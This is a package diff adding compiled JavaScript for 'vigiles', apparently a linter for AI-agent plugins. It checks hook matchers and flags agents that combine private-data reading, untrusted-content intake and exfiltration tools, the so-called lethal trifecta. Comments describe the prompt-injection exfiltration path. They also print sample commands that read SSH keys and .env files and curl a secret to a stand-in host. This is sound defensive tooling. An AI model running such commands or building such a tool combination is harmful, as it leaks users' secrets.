vigiles 9.1.0 → 11.0.0

package/dist/core/hook-matcher.js

@@ -0,0 +1,182 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.hookMatcherIssues = hookMatcherIssues;
+const tool_contract_js_1 = require("./tool-contract.js");
+const mcp_tool_js_1 = require("./mcp-tool.js");
+// ---------------------------------------------------------------------------
+// Internal helpers
+// ---------------------------------------------------------------------------
+/**
+ * Whether a matcher token should be skipped for FP-safety. We ONLY inspect
+ * a SINGLE bare token that could plausibly be a literal tool name or MCP
+ * reference. Anything with regex / glob meta-characters, alternation, a
+ * trailing glob wildcard alone, or an empty string is a pattern — skip it.
+ *
+ * Conservative by design: an unrecognized form → skip, never flag.
+ */
+function isInspectableToken(token) {
+    if (token.length === 0)
+        return false;
+    // Pure wildcard forms used as "match-all" matchers.
+    if (token === "*" || token === ".*" || token === "**")
+        return false;
+    // Contains regex alternation — a combined matcher, not a single tool name.
+    if (token.includes("|"))
+        return false;
+    // Contains a parenthesised group `(…)` — regex, not a tool name.
+    if (token.includes("(") || token.includes(")"))
+        return false;
+    // Contains a `[` — character class; skip.
+    if (token.includes("["))
+        return false;
+    // A leading `^` or trailing `$` — anchored regex.
+    if (token.startsWith("^") || token.endsWith("$"))
+        return false;
+    // Leading `.*` — regex prefix; always a pattern.
+    if (token.startsWith(".*"))
+        return false;
+    // A trailing `.*`/`*` is a glob/regex suffix on a plain TOOL matcher (`Bash.*`,
+    // `Read*`) → skip. But for an MCP-ish token the trailing wildcard is EXACTLY
+    // what we must inspect: `mcp__server__.*` is the legitimate match-all-tools
+    // form, and `mcp_memory_*` is the classic single-underscore typo we want to
+    // catch — so do NOT skip a wildcard suffix on an `mcp`-ish token.
+    if (!looksMcpIsh(token) && (token.endsWith(".*") || token.endsWith("*")))
+        return false;
+    return true;
+}
+/**
+ * A token starts with `mcp` (case-insensitive) and contains at least one
+ * `_` (making it look like an MCP tool reference, not a harness built-in).
+ */
+function looksMcpIsh(token) {
+    return /^mcp[_-]/i.test(token);
+}
+/**
+ * Whether `token` matches the canonical `mcp__<server>__<rest>` double-
+ * underscore shape (the valid MCP matcher form). We use the dialect's own
+ * `mcpToolPattern` extended to allow trailing `.*` for wildcard matchers,
+ * since a hook `matcher` may be `mcp__server__.*` (match-all-tools-on-server).
+ */
+function isValidMcpForm(token, dialect) {
+    // The canonical pattern from the dialect: `mcp__server__tool`.
+    if (dialect.mcpToolPattern.test(token))
+        return true;
+    // Also allow the wildcard suffix form `mcp__server__.*`.
+    if (/^mcp__[a-z0-9_-]+__\.\*$/i.test(token))
+        return true;
+    return false;
+}
+/**
+ * Attempt to recover the server segment from a malformed MCP token so we can
+ * suggest the corrected `mcp__<server>__.*` form. Returns null when no
+ * segment can be confidently recovered.
+ *
+ * Handles:
+ *   - Single-underscore: `mcp_memory_search` → server=`memory`, tool=`search`
+ *   - Hyphenated:        `mcp-memory-search` → server=`memory`, tool=`search`
+ *   - Glob suffix:       `mcp_memory_*`       → server=`memory`
+ *   - Mixed:             `mcp__memory_*`      → only one `__` segment found
+ */
+function recoverMcpServer(token) {
+    // Strip a leading `mcp` and then a separator (`__`, `_`, `-`).
+    const rest = token.replace(/^mcp(?:__|_|-)/i, "");
+    if (!rest || rest === token)
+        return null;
+    // Split on single underscores or hyphens (not `__`) to get the next segment.
+    // We want the first non-empty segment after the `mcp` prefix separator.
+    const segments = rest.split(/(?<!_)_(?!_)|(?<!-)(?:-(?!-))/);
+    const server = segments[0];
+    if (!server || server.length === 0)
+        return null;
+    // Reject segments that are clearly numeric-only or single chars (too ambiguous).
+    if (/^\d+$/.test(server))
+        return null;
+    return server;
+}
+// ---------------------------------------------------------------------------
+// Public detector
+// ---------------------------------------------------------------------------
+/**
+ * Verify hook-matcher strings for the three forms that silently never fire.
+ * Returns one {@link HookMatcherFinding} per offending entry. De-duplicates
+ * repeated matchers. Returns `[]` when all matchers are FP-safe to skip or
+ * are correct.
+ */
+function hookMatcherIssues(entries, declaredServers, dialect) {
+    const findings = [];
+    const seen = new Set();
+    for (const { matcher } of entries) {
+        // De-dupe repeated matchers across entries.
+        if (seen.has(matcher))
+            continue;
+        seen.add(matcher);
+        // Skip wildcards, alternation, regex patterns — FP-safety.
+        if (!isInspectableToken(matcher))
+            continue;
+        // ── kind: mcp-form ──────────────────────────────────────────────────────
+        // The token looks MCP-ish but is NOT the valid double-underscore form.
+        if (looksMcpIsh(matcher)) {
+            if (!isValidMcpForm(matcher, dialect)) {
+                const server = recoverMcpServer(matcher);
+                const suggestion = server ? `mcp__${server}__.*` : undefined;
+                const hintPart = suggestion !== undefined
+                    ? ` Did you mean "${suggestion}"?`
+                    : " Use the form `mcp__<server>__<tool>` (double underscores).";
+                findings.push({
+                    matcher,
+                    kind: "mcp-form",
+                    ...(suggestion !== undefined ? { suggestion } : {}),
+                    message: `Hook matcher "${matcher}" is not a valid MCP tool reference (requires double underscores: \`mcp__server__tool\`).${hintPart}`,
+                });
+                continue;
+            }
+            // ── kind: mcp-undeclared ──────────────────────────────────────────────
+            // A correctly-formed MCP token whose server isn't in the declared set.
+            // Guard 1: no declared set → skip (reaches global/project servers).
+            if (declaredServers.length === 0)
+                continue;
+            // `mcpToolServer` reads the `mcp__server__tool` form; a server-wide WILDCARD
+            // matcher (`mcp__server__.*`) isn't a concrete tool, so fall back to the
+            // wildcard server segment so an undeclared server is still caught.
+            const server = (0, mcp_tool_js_1.mcpToolServer)(matcher, dialect) ??
+                /^mcp__([a-z0-9_-]+)__\.\*$/i.exec(matcher)?.[1] ??
+                null;
+            if (server === null)
+                continue; // plugin-namespaced form → guard 3, skip
+            // The plugin-namespaced `mcp__plugin_<plugin>_<server>__` form is the
+            // plugin's OWN server — never an undeclared reference (mirrors mcpToolServer).
+            if (/^plugin_/i.test(server))
+                continue;
+            const known = new Set([
+                ...declaredServers,
+                ...(dialect.knownMcpServers ?? []),
+            ]);
+            // Guard 2: built-in server → skip.
+            if (known.has(server))
+                continue;
+            findings.push({
+                matcher,
+                kind: "mcp-undeclared",
+                message: `Hook matcher "${matcher}" references MCP server "${server}", which the plugin doesn't declare (declared: ${declaredServers.join(", ")}) — the hook can't fire.`,
+            });
+            continue;
+        }
+        // ── kind: tool-typo ─────────────────────────────────────────────────────
+        // A bare token that is NOT an exact built-in tool but IS a close typo of one.
+        const knownTools = new Set(dialect.builtinAgentTools);
+        if (knownTools.has(matcher))
+            continue; // exact match → no issue
+        // Reuse the same ≤ 2 edit-distance helper from tool-contract.ts.
+        const near = (0, tool_contract_js_1.closestTool)(matcher, dialect);
+        if (near === null)
+            continue; // far/unknown → likely a plugin tool, not a typo
+        findings.push({
+            matcher,
+            kind: "tool-typo",
+            suggestion: near,
+            message: `Hook matcher "${matcher}" doesn't match any built-in tool — the hook silently never fires. Did you mean "${near}"?`,
+        });
+    }
+    return findings;
+}
+//# sourceMappingURL=hook-matcher.js.map

package/dist/core/hook-normalize.d.ts

@@ -0,0 +1,43 @@
+/**
+ * vigiles — hook settings normalization (the typed boundary for shipped hooks).
+ *
+ * A repo's hooks ship as raw, untrusted, parsed JSON/TOML — `unknown` at the
+ * loader edge (`LoadedPlugin.settings.hooks`). Rather than have every detector
+ * re-walk that `unknown` with inline casts (parse-don't-validate violated N
+ * times), this parses it ONCE at the boundary into a typed, flattened
+ * `HookRegistration[]` that the walkers consume.
+ *
+ * HARNESS-AGNOSTIC BY TOLERANCE, NOT BY A PORT. Two shipping shapes exist:
+ *   - Claude Code (JSON):  `{ Event: [{ matcher, hooks: [{ command }] }] }`
+ *   - Codex (TOML):        `{ Event: [{ command }] }`  (`[[hooks.Event]] command=…`)
+ * A single tolerant reader absorbs both — a missing `hooks` array means the
+ * entry itself is the lone command holder. The difference is small enough that
+ * one parser covers it, so we deliberately DON'T add a per-harness port for it
+ * (rule-of-three / YAGNI: design the neutral shape first, defer the abstraction
+ * until a harness needs a genuinely divergent shape). If one ever does, this is
+ * the single seam to lift behind the layout/dialect.
+ *
+ * Pure + fully testable (no IO); the script resolution that turns a `command`
+ * into an on-disk path stays in the caller (it needs the plugin root + fs).
+ */
+/**
+ * One flattened hook registration: a single command bound to an event, with its
+ * optional matcher. The neutral form every hook detector reads — CC-nested and
+ * Codex-flat both collapse to this.
+ */
+export interface HookRegistration {
+    /** The event the hook registers under, e.g. `"PreToolUse"`. */
+    readonly event: string;
+    /** The tool/path matcher, or `null` when the entry declares none. */
+    readonly matcher: string | null;
+    /** The shell command the hook runs (non-empty). */
+    readonly command: string;
+}
+/**
+ * Parse the raw `settings.hooks` value into typed registrations. Returns `[]`
+ * for any non-object / malformed input — never throws.
+ */
+export declare function normalizeHooks(raw: unknown): HookRegistration[];
+/** Distinct event names present in the raw hooks object (object-keyed shape). */
+export declare function hookEventNames(raw: unknown): string[];
+//# sourceMappingURL=hook-normalize.d.ts.map

package/dist/core/hook-normalize.js

@@ -0,0 +1,78 @@
+"use strict";
+/**
+ * vigiles — hook settings normalization (the typed boundary for shipped hooks).
+ *
+ * A repo's hooks ship as raw, untrusted, parsed JSON/TOML — `unknown` at the
+ * loader edge (`LoadedPlugin.settings.hooks`). Rather than have every detector
+ * re-walk that `unknown` with inline casts (parse-don't-validate violated N
+ * times), this parses it ONCE at the boundary into a typed, flattened
+ * `HookRegistration[]` that the walkers consume.
+ *
+ * HARNESS-AGNOSTIC BY TOLERANCE, NOT BY A PORT. Two shipping shapes exist:
+ *   - Claude Code (JSON):  `{ Event: [{ matcher, hooks: [{ command }] }] }`
+ *   - Codex (TOML):        `{ Event: [{ command }] }`  (`[[hooks.Event]] command=…`)
+ * A single tolerant reader absorbs both — a missing `hooks` array means the
+ * entry itself is the lone command holder. The difference is small enough that
+ * one parser covers it, so we deliberately DON'T add a per-harness port for it
+ * (rule-of-three / YAGNI: design the neutral shape first, defer the abstraction
+ * until a harness needs a genuinely divergent shape). If one ever does, this is
+ * the single seam to lift behind the layout/dialect.
+ *
+ * Pure + fully testable (no IO); the script resolution that turns a `command`
+ * into an on-disk path stays in the caller (it needs the plugin root + fs).
+ */
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.normalizeHooks = normalizeHooks;
+exports.hookEventNames = hookEventNames;
+/** True for a non-null, non-array object. */
+function isRecord(v) {
+    return v !== null && typeof v === "object" && !Array.isArray(v);
+}
+/** The string `matcher` of an entry, or `null` when absent/empty. */
+function entryMatcher(entry) {
+    const m = entry.matcher;
+    return typeof m === "string" && m.length > 0 ? m : null;
+}
+/**
+ * Flatten ONE `{ event: [...] }` group's entry into registrations. Tolerant of
+ * both shapes: a Claude Code entry nests `hooks: [{command}]`; a Codex flat
+ * entry IS the command holder (no `hooks` array), so the entry stands in for it.
+ */
+function flattenEntry(event, entry) {
+    if (!isRecord(entry))
+        return [];
+    const matcher = entryMatcher(entry);
+    const nested = entry.hooks;
+    const holders = Array.isArray(nested) ? nested : [entry];
+    const out = [];
+    for (const h of holders) {
+        if (!isRecord(h))
+            continue;
+        const command = h.command;
+        if (typeof command !== "string" || command.length === 0)
+            continue;
+        out.push({ event, matcher, command });
+    }
+    return out;
+}
+/**
+ * Parse the raw `settings.hooks` value into typed registrations. Returns `[]`
+ * for any non-object / malformed input — never throws.
+ */
+function normalizeHooks(raw) {
+    if (!isRecord(raw))
+        return [];
+    const out = [];
+    for (const [event, arr] of Object.entries(raw)) {
+        if (!Array.isArray(arr))
+            continue;
+        for (const entry of arr)
+            out.push(...flattenEntry(event, entry));
+    }
+    return out;
+}
+/** Distinct event names present in the raw hooks object (object-keyed shape). */
+function hookEventNames(raw) {
+    return isRecord(raw) ? Object.keys(raw) : [];
+}
+//# sourceMappingURL=hook-normalize.js.map

package/dist/core/lethal-trifecta.d.ts

@@ -0,0 +1,100 @@
+/**
+ * The LETHAL-TRIFECTA check — the headline Safety detector. Simon Willison's
+ * "lethal trifecta": a single unit (a subagent / model-invocable skill) that
+ * simultaneously holds all THREE capability legs is a prompt-injection
+ * exfiltration path with NO exploit code — attacker-controllable content flows
+ * in, reads your private data, and ships it out, all driven by the model.
+ *
+ *   LEG A — PRIVATE-DATA READ   — can read local secrets / files / repo
+ *                                 (Read, mcp__filesystem__*, github get_file,
+ *                                  and `Bash`, which can `cat ~/.ssh/*` / `.env`).
+ *   LEG B — UNTRUSTED-CONTENT INTAKE — ingests attacker-controllable content
+ *                                 (WebFetch, WebSearch, mcp__fetch__*, MCP
+ *                                  servers reading issues / email / tickets).
+ *   LEG C — EXFILTRATION CHANNEL — can send data out (WebFetch, computer_use,
+ *                                  github create_pull_request / add_issue_comment,
+ *                                  any external-write MCP, and `Bash`, which can
+ *                                  `curl`/`wget` to anywhere).
+ *
+ * Meta's "Rule of Two": allow at most two of the three legs in one unit. A unit
+ * holding all three is the hard finding. NO other tool checks the tool-SET for
+ * this — every competitor lints a single tool's effect, never the dangerous
+ * COMBINATION.
+ *
+ * `Bash` is special: it satisfies BOTH leg A (read a secret) AND leg C (curl it
+ * out). So `Bash` + any leg-B tool (e.g. `WebFetch`) is already all three legs.
+ *
+ * HIGH-PRECISION (don't-cry-wolf): only WELL-KNOWN tools map to a leg; an
+ * unknown tool maps to nothing. A `Tool(restriction)` suffix is stripped with the
+ * same `baseTool` shape `effects.ts` uses.
+ *
+ * INHERITS-ALL: a unit with no `tools:` line inherits ALL tools — maximal blast
+ * radius, trivially all three legs. Aligned with the codebase's existing
+ * "inherits-all is ADVISORY" stance (compile/scan treat a missing contract as a
+ * footgun note, not a hard defect), an inherits-all trifecta is reported as
+ * `"advisory"`; an EXPLICIT all-three contract is the `"hard"` flag.
+ *
+ * Pure + ONE detector (one-detector-no-drift) — intended to be reused by `scan`
+ * (the read-only audit) and a future `lethal-trifecta` lint rule. The dialect is
+ * injected (core ⊄ adapter) so it generalizes across harnesses (Codex's `shell`
+ * plays Bash's dual A+C role — see `LEG_BASH_DUAL` below). The per-leg catalogs
+ * are LOCAL consts here because the `HarnessDialect` interface has no trifecta-leg
+ * fields today; see the "Recommended dialect additions" note at the bottom.
+ */
+import type { HarnessDialect } from "./dialect.js";
+/** The three capability legs of the lethal trifecta. */
+export type TrifectaLeg = "private" | "untrusted" | "exfil";
+/** The tools classified into each leg (base names, de-duplicated). */
+export interface TrifectaLegs {
+    /** LEG A — tools that can read private data (secrets, files, repo). */
+    readonly private: readonly string[];
+    /** LEG B — tools that ingest untrusted / attacker-controllable content. */
+    readonly untrusted: readonly string[];
+    /** LEG C — tools that can exfiltrate data out of the trust boundary. */
+    readonly exfil: readonly string[];
+}
+/**
+ * The severity of a trifecta finding:
+ * - `"hard"`:     an EXPLICIT contract that names all three legs — a concrete,
+ *                 declared exfil path. The flag.
+ * - `"advisory"`: an inherits-all unit (no `tools:` line) that holds all three
+ *                 legs only because it inherits everything — maximal blast radius,
+ *                 reported as advisory in line with the inherits-all stance.
+ */
+export type TrifectaSeverity = "hard" | "advisory";
+/**
+ * A lethal-trifecta finding — emitted ONLY when all three legs are non-empty (or,
+ * for the inherits-all case, when the contract inherits all tools). The `legs`
+ * field names the specific tools that supplied each leg, so the report can show
+ * exactly which capabilities to drop to break the trifecta.
+ */
+export interface TrifectaFinding {
+    readonly severity: TrifectaSeverity;
+    /** The tools that supplied each leg (advisory inherits-all carries the wildcard). */
+    readonly legs: TrifectaLegs;
+    /** A ready-to-show, actionable message. */
+    readonly message: string;
+}
+/**
+ * Classify each tool in a declared contract into the trifecta legs it supplies.
+ * A single tool may land in MULTIPLE legs (`Bash` → A+C, `WebFetch` → B+C). An
+ * unknown tool lands in none (high-precision). De-duplicated per leg.
+ *
+ * NOTE on inherits-all: a wildcard (`""`/`"*"`) entry is NOT classified into a
+ * named leg here (it has no concrete tool name); the inherits-all case is handled
+ * by {@link lethalTrifectaIssues}, which knows it grants every leg.
+ */
+export declare function classifyTrifectaLegs(tools: readonly string[], dialect: HarnessDialect): TrifectaLegs;
+/**
+ * Returns a {@link TrifectaFinding} ONLY when a unit holds all three legs, else
+ * `null` (≤ 2 legs = safe by the Rule of Two).
+ *
+ * Two paths:
+ * - INHERITS-ALL (a wildcard `""`/`"*"`, or an EMPTY contract): inherits every
+ *   tool → trivially all three legs → an `"advisory"` finding (the inherits-all
+ *   stance: a footgun worth surfacing, not a declared exfil path).
+ * - EXPLICIT: classify the named tools; emit a `"hard"` finding iff each of the
+ *   three legs is non-empty.
+ */
+export declare function lethalTrifectaIssues(tools: readonly string[], dialect: HarnessDialect): TrifectaFinding | null;
+//# sourceMappingURL=lethal-trifecta.d.ts.map

package/dist/core/lethal-trifecta.js

@@ -0,0 +1,197 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.classifyTrifectaLegs = classifyTrifectaLegs;
+exports.lethalTrifectaIssues = lethalTrifectaIssues;
+// ---------------------------------------------------------------------------
+// Per-leg tool catalogs (LOCAL — the dialect has no trifecta-leg fields yet).
+//
+// HIGH-PRECISION by construction: only well-known, high-signal tools appear.
+// Exact built-in names; MCP tools are matched by a `server`/`tool` substring
+// heuristic (well-known servers/verbs only) so a bare unknown `mcp__*` maps to
+// nothing rather than crying wolf.
+// ---------------------------------------------------------------------------
+/**
+ * The dual-role tool: it satisfies BOTH leg A (read a secret: `cat ~/.ssh/*`)
+ * AND leg C (exfiltrate: `curl --data @secret evil.test`). Listed once here and
+ * fanned into both buckets. Claude Code names it `Bash`; the dialect's
+ * `sideEffectingTools` is the seam a future harness's shell name plugs into, but
+ * since no dialect field enumerates "the shell tool" we match the known names.
+ */
+const LEG_BASH_DUAL = new Set(["Bash", "shell"]);
+/** LEG A — built-in tools that can read private data. */
+const PRIVATE_BUILTINS = new Set(["Read"]);
+/** LEG B — built-in tools that ingest untrusted content. */
+const UNTRUSTED_BUILTINS = new Set(["WebFetch", "WebSearch"]);
+/**
+ * LEG C — built-in tools that can exfiltrate. `WebFetch` is dual (it can POST a
+ * body out AND fetch untrusted content in), so it appears in BOTH leg B and leg C.
+ */
+const EXFIL_BUILTINS = new Set(["WebFetch", "computer_use", "ComputerUse"]);
+/**
+ * Well-known MCP SERVER substrings per leg. An `mcp__<server>__<tool>` reference
+ * is classified by its server segment when the server is a recognized one. Kept
+ * deliberately small + high-signal.
+ */
+const PRIVATE_MCP_SERVERS = ["filesystem", "file", "git", "github", "memory"];
+const UNTRUSTED_MCP_SERVERS = [
+    "fetch",
+    "web",
+    "browser",
+    "puppeteer",
+    "playwright",
+];
+const EXFIL_MCP_SERVERS = ["slack", "email", "gmail", "smtp", "discord"];
+/**
+ * Well-known MCP TOOL-name substrings per leg — finer than the server alone (a
+ * `github` server is leg A via `get_file_contents` but leg C via
+ * `create_pull_request`). Matched against the tool segment after the server.
+ */
+const PRIVATE_MCP_TOOLS = ["get_file", "read", "search_code", "get_contents"];
+const UNTRUSTED_MCP_TOOLS = [
+    "fetch",
+    "list_issues",
+    "get_issue",
+    "issue_read",
+    "search_issues",
+];
+const EXFIL_MCP_TOOLS = [
+    "create_pull_request",
+    "add_issue_comment",
+    "issue_write",
+    "create_or_update_file",
+    "push_files",
+    "send",
+    "post",
+    "create_issue",
+];
+// ---------------------------------------------------------------------------
+// Internal helpers
+// ---------------------------------------------------------------------------
+/** Strips a `Tool(restriction)` suffix and returns the base tool name. */
+function baseTool(raw) {
+    return raw.split("(")[0].trim();
+}
+/** Returns true for the wildcard sentinels that mean "inherits-all". */
+function isWildcard(tool) {
+    return tool === "" || tool === "*";
+}
+/**
+ * Split an MCP grant into `{ server, tool }`, or null. Handles three forms:
+ * - a concrete `mcp__<server>__<tool>` (tool = the named tool);
+ * - a SERVER-WIDE grant `mcp__<server>` or `mcp__<server>__*` / `__.*` (tool = ""
+ *   → classify by the SERVER alone, since it grants every tool on that server).
+ * Without the server-wide case a contract like `mcp__slack__*` would grant an
+ * exfil-capable server yet contribute no leg (reported clean when it isn't).
+ */
+function mcpParts(base, dialect) {
+    if (dialect.mcpToolPattern.test(base)) {
+        const m = /^mcp__([^_]+(?:_[^_]+)*?)__(.+)$/.exec(base);
+        if (m)
+            return { server: m[1].toLowerCase(), tool: m[2].toLowerCase() };
+    }
+    // Server-wide: `mcp__server`, `mcp__server__*`, `mcp__server__.*`.
+    const sw = /^mcp__([a-z0-9-]+(?:_[a-z0-9-]+)*?)(?:__(?:\*|\.\*))?$/i.exec(base);
+    if (sw)
+        return { server: sw[1].toLowerCase(), tool: "" };
+    return null;
+}
+function anySubstr(haystack, needles) {
+    return needles.some((n) => haystack.includes(n));
+}
+// ---------------------------------------------------------------------------
+// Public API
+// ---------------------------------------------------------------------------
+/**
+ * Classify each tool in a declared contract into the trifecta legs it supplies.
+ * A single tool may land in MULTIPLE legs (`Bash` → A+C, `WebFetch` → B+C). An
+ * unknown tool lands in none (high-precision). De-duplicated per leg.
+ *
+ * NOTE on inherits-all: a wildcard (`""`/`"*"`) entry is NOT classified into a
+ * named leg here (it has no concrete tool name); the inherits-all case is handled
+ * by {@link lethalTrifectaIssues}, which knows it grants every leg.
+ */
+function classifyTrifectaLegs(tools, dialect) {
+    const priv = new Set();
+    const untrusted = new Set();
+    const exfil = new Set();
+    for (const raw of tools) {
+        const base = baseTool(raw);
+        if (isWildcard(base))
+            continue; // handled by the issues fn, not a named leg
+        // Dual-role shell: leg A AND leg C.
+        if (LEG_BASH_DUAL.has(base)) {
+            priv.add(base);
+            exfil.add(base);
+            continue;
+        }
+        if (PRIVATE_BUILTINS.has(base))
+            priv.add(base);
+        if (UNTRUSTED_BUILTINS.has(base))
+            untrusted.add(base);
+        if (EXFIL_BUILTINS.has(base))
+            exfil.add(base);
+        const parts = mcpParts(base, dialect);
+        if (parts) {
+            const { server, tool } = parts;
+            if (anySubstr(server, PRIVATE_MCP_SERVERS) ||
+                anySubstr(tool, PRIVATE_MCP_TOOLS))
+                priv.add(base);
+            if (anySubstr(server, UNTRUSTED_MCP_SERVERS) ||
+                anySubstr(tool, UNTRUSTED_MCP_TOOLS))
+                untrusted.add(base);
+            if (anySubstr(server, EXFIL_MCP_SERVERS) ||
+                anySubstr(tool, EXFIL_MCP_TOOLS))
+                exfil.add(base);
+        }
+    }
+    return { private: [...priv], untrusted: [...untrusted], exfil: [...exfil] };
+}
+/**
+ * Returns a {@link TrifectaFinding} ONLY when a unit holds all three legs, else
+ * `null` (≤ 2 legs = safe by the Rule of Two).
+ *
+ * Two paths:
+ * - INHERITS-ALL (a wildcard `""`/`"*"`, or an EMPTY contract): inherits every
+ *   tool → trivially all three legs → an `"advisory"` finding (the inherits-all
+ *   stance: a footgun worth surfacing, not a declared exfil path).
+ * - EXPLICIT: classify the named tools; emit a `"hard"` finding iff each of the
+ *   three legs is non-empty.
+ */
+function lethalTrifectaIssues(tools, dialect) {
+    const hasWildcard = tools.some((t) => isWildcard(baseTool(t)));
+    // Inherits-all is signalled by a WILDCARD (the caller passes `["*"]` for an
+    // absent `tools:` line). An EXPLICIT empty `[]` is the opposite — zero tools,
+    // so it cannot hold any leg; it falls through to classify as no-trifecta. (The
+    // caller must distinguish: `tools ?? ["*"]`, never `tools ?? []`.)
+    if (hasWildcard) {
+        const legs = {
+            private: ["*"],
+            untrusted: ["*"],
+            exfil: ["*"],
+        };
+        return {
+            severity: "advisory",
+            legs,
+            message: "Inherits-all contract (no explicit tools / wildcard) grants every capability — " +
+                "it holds all three lethal-trifecta legs (read private data, ingest untrusted content, " +
+                "exfiltrate) and is a maximal prompt-injection blast radius. Declare an explicit tools " +
+                "list dropping at least one leg (Meta's Rule of Two).",
+        };
+    }
+    const legs = classifyTrifectaLegs(tools, dialect);
+    if (legs.private.length > 0 &&
+        legs.untrusted.length > 0 &&
+        legs.exfil.length > 0) {
+        return {
+            severity: "hard",
+            legs,
+            message: "Lethal trifecta: this unit can read private data " +
+                `(${legs.private.join(", ")}), ingest untrusted content ` +
+                `(${legs.untrusted.join(", ")}), AND exfiltrate ` +
+                `(${legs.exfil.join(", ")}) — a prompt-injection exfil path with no exploit code. ` +
+                "Drop at least one leg (Meta's Rule of Two: allow at most two).",
+        };
+    }
+    return null;
+}
+//# sourceMappingURL=lethal-trifecta.js.map

package/dist/core/plugin-dir-layout.d.ts

@@ -0,0 +1,30 @@
+/** A functional surface directory found nested inside the manifest directory. */
+export interface PluginLayoutFinding {
+    /** The misplaced surface directory name (e.g. `"skills"`). */
+    readonly dir: string;
+    /** Human-readable explanation + fix. */
+    readonly message: string;
+}
+export interface PluginLayoutOptions {
+    /** Injectable: does this path exist? (default: node:fs existsSync) */
+    readonly existsSync?: (p: string) => boolean;
+    /**
+     * Injectable: is this path a directory? (default: node:fs
+     * statSync(p).isDirectory(), returning false on any throw)
+     */
+    readonly isDirectory?: (p: string) => boolean;
+}
+/**
+ * Surface directories found nested INSIDE the manifest directory, where they are
+ * invisible to the harness.
+ *
+ * `manifestDir` is the absolute path to the manifest directory (e.g. the repo's
+ * `.claude-plugin/`). `surfaceDirNames` are the harness's functional surface
+ * directory names, injected from the layout (e.g. `["skills","agents","commands",
+ * "hooks"]`) so the detector stays harness-agnostic — NEVER hard-code them.
+ *
+ * Returns `[]` when the manifest dir doesn't exist or holds no misplaced surface
+ * dirs.
+ */
+export declare function pluginDirLayoutIssues(manifestDir: string, surfaceDirNames: readonly string[], opts?: PluginLayoutOptions): PluginLayoutFinding[];
+//# sourceMappingURL=plugin-dir-layout.d.ts.map